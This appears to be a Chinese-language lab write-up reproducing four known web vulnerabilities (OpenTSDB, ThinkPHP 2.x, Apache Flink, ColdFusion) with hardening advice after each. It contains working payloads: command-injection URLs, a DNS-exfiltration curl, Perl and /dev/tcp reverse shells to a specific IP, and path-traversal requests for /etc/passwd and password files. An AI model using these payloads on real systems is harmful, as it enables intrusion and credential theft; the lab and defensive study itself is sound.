后端漏洞(上)


OpenTSDB 命令注入漏洞(CVE-2020-35476)

漏洞背景

CVE-2020-35476 是 OpenTSDB 2.4.0 及更早版本中存在的命令注入漏洞。攻击者可通过 /api/suggest 接口的 q 参数注入恶意内容,利用底层 Gnuplot 的 system() 函数执行任意系统命令,从而实现远程代码执行(RCE)。

影响版本:OpenTSDB ≤ 2.4.0
利用条件:目标系统启用了 /api/suggest 接口,且未对用户输入进行过滤。


1. 复现环境中的命令注入漏洞

首先通过 API 查询 metrics 列表,发现为空:

GET /api/suggest?type=metrics&q=&max=10

接着向系统写入一条名为 sys.cpu.nice 的metric并添加一条记录:

POST /api/put
Content-Type: application/json

[{"metric":"sys.cpu.nice","timestamp":1693000000,"value":18,"tags":{"host":"web01"}}]

随后在 q 参数中注入命令:

GET /api/suggest?type=metrics&q=sys.cpu.nice$(touch%20/tmp/success)&max=10

进入容器验证,可见命令 touch /tmp/success 已成功执行。

POST - 向 API POST 一条 metric

利用过滤策略不完全实现 shell 注入

GET - 利用过滤策略不完全实现 shell 注入

查看容器内 poc 执行成功

容器展示 - 查看容器内 poc 执行成功


2. DNS 外带技术验证命令执行

尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果:

由于无法直接回显,使用 DNSLog 进行外带验证。

DNSLog Platform获取一个会话并等待dns请求带回关键字$(whoami)

构造如下请求:

curl http://$(whoami).random.dnslog.cn

DNSLog 平台成功捕获请求,外带请求展示:

 - DNS 外带请求展示

dnslog 响应

dnslog - dnslog 响应


3. 反弹 Shell 成功获取交互式控制

利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器

Docker内没有netcat,lua,并且默认dash使bash语法不能生效。于是使用perl反弹shell:

Perl反弹由Online - Reverse Shell Generator (revshells.com)生成

perl -e 'use Socket;$i="47.109.111.193";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

测试语句实际可用

命令测试 - 容器中测试反弹 Shell

但通过web请求注入失败,查看CVE-2020-35476研究发现,实际上使用gnuplot的system函数实现命令注入,而gnuplot的system函数对多重引号支持有问题导致注入失败

perl -e ‘use…的单引号构成单引号闭合造成命令无法传入

尝试修改dash为bash,并注入反向shell以规避多层引号:

ln -s -f bash /bin/sh;sh -i >& /dev/tcp/47.109.111.193/2333 0>&1

Connection received on xx.xx.xx.xx 1191

sh: cannot set terminal process group (1): Inappropriate ioctl for device

sh: no job control in this shell

sh-5.1#

反弹shell成功

反弹shell poc - 上层窗口为请求,后面窗口为攻击机

安全加固建议

  1. 升级 OpenTSDB:升级至 2.4.1 或更高版本。
  2. 禁用 Gnuplot 图形功能:若无需绘图,可关闭相关组件。
  3. 输入过滤:对 /api/suggestq 参数进行严格校验,禁止特殊字符。
  4. 网络隔离:限制 OpenTSDB API 仅对内网或可信 IP 开放。
  5. 最小权限运行:以非 root 用户运行服务。

参考资料


ThinkPHP 2.x 任意代码执行漏洞

漏洞背景

ThinkPHP 2.x 版本存在模板解析缺陷,攻击者可通过 URL 中的变量注入 PHP 代码并执行,无需身份验证即可实现远程代码执行。

影响版本:ThinkPHP 2.x
利用条件:应用未关闭调试模式,且未对用户输入进行过滤。


1. 执行 phpinfo() 验证漏洞

直接访问如下 URL:

GET /index.php?s=/index/index/name/$%7B@phpinfo()%7D

页面返回 PHP 配置信息,证明代码执行成功。

执行 phpinfo()

Figure - 执行 phpinfo()


2. 读取目录结构

进一步执行系统命令:

GET /index.php?s=/index/index/name/$%7B@system('ls')%7D
GET /index.php?s=/index/index/name/$%7B@system('tree')%7D

成功列出当前目录及网站结构。

ls 打印当前目录

Figure - ls 打印当前目录

tree 打印网站结构

Figure - tree 打印网站结构

安全加固建议

  1. 升级框架:升级至 ThinkPHP 5+ 或使用官方安全补丁。
  2. 关闭调试模式:生产环境务必关闭 APP_DEBUG
  3. 输入过滤:对 URL 参数进行白名单校验。
  4. 禁用危险函数:在 php.ini 中禁用 systemexeceval 等函数。
  5. WAF 防护:部署规则拦截 ${@$%7B@ 等特征。

参考资料

  • ThinkPHP 官方文档
  • OWASP Top 10: A03:2021 – Injection

漏洞背景

CVE-2020-17518 是 Apache Flink Dashboard 中的任意文件上传漏洞。攻击者可上传恶意 JAR 包并通过 JobManager 执行,从而实现远程代码执行。

影响版本:Apache Flink < 1.11.2、1.10.3、1.9.6
利用条件:Flink Web UI 未授权访问,且允许上传 JAR 文件。


1. 上传 JAR 包执行命令

Flink支持上传jar包并且执行,所以可以通过上传jar包直接getshell

编写反弹 Shell 的 Java 程序,使用 Maven 打包为 JAR。首次使用高版本 Java 编译,上传失败:

java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version...

注入失败,查看容器内报错发现

Caused by: java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version of the Java Runtime (class file version 64.0), this version of the Java Runtime only recognizes class file versions up to 52.0.

结论:Java编译版本过高

切换至 Java 1.8 环境重新编译后,成功上传并执行。

Apache Flink - upload error

upload success

Apache Flink - upload success

getshell

Apache Flink - getshell

安全加固建议

  1. 升级 Flink:升级至 1.11.2+、1.10.3+ 或 1.9.6+。
  2. 启用认证:配置 Flink Web UI 的身份验证(如 LDAP、Kerberos)。
  3. 禁止公网暴露:仅允许内网访问 Dashboard。
  4. 限制 JAR 上传:通过反向代理或 WAF 禁止 /jars/upload 接口。
  5. 最小权限运行:以非 root 用户运行 Flink 进程。

参考资料

Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)

漏洞背景

CVE-2010-2861 是 Adobe ColdFusion 中的路径遍历漏洞。攻击者可通过 locale 参数读取服务器任意文件,包括配置文件和系统文件。

影响版本:ColdFusion 8.0、8.0.1、9.0 等
利用条件/CFIDE/administrator/enter.cfm 可被未授权访问。


1. 读取敏感文件

构造如下请求读取系统文件:

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

成功返回 /etc/passwd 内容。

/etc/passwd

Adobe ColdFusion - /etc/passwd

读取后台密码配置文件:

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

password

Adobe ColdFusion - password

读取许可证文件:

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../opt/coldfusion8/license.txt%00en

/opt/coldfusion8/license.txt

Adobe ColdFusion - /opt/coldfusion8/license.txt

安全加固建议

  1. 删除 /CFIDE 目录:生产环境应移除该目录或限制访问。
  2. 启用认证:确保管理员界面强制登录。
  3. 路径规范化:对 locale 等参数进行白名单校验。
  4. WAF 防护:拦截包含 ../ 的请求。
  5. 升级或打补丁:应用 Adobe 官方安全更新。

参考资料

Comments

Leave a comment